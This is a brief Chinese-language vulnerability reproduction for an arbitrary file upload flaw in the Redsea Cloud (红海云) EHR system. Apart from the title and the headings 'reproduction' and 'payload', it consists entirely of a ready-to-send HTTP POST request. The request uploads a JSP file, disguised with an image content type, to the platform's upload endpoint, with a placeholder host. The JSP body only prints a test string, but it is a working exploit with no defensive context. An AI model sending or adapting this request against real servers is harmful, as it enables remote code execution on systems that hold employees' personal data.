H23-2红海云-EHR系统-任意文件上传

漏洞复现：

payload：

POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1​
Host: x.x.x.x​
Accept-Encoding: gzip​
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15​
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4​
Content-Length: 210​
​
------WebKitFormBoundaryt7WbDl1tXogoZys4​
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"​
Content-Type:image/jpeg​
​
<% out.print("hello,eHR");%>​
------WebKitFormBoundaryt7WbDl1tXogoZys4--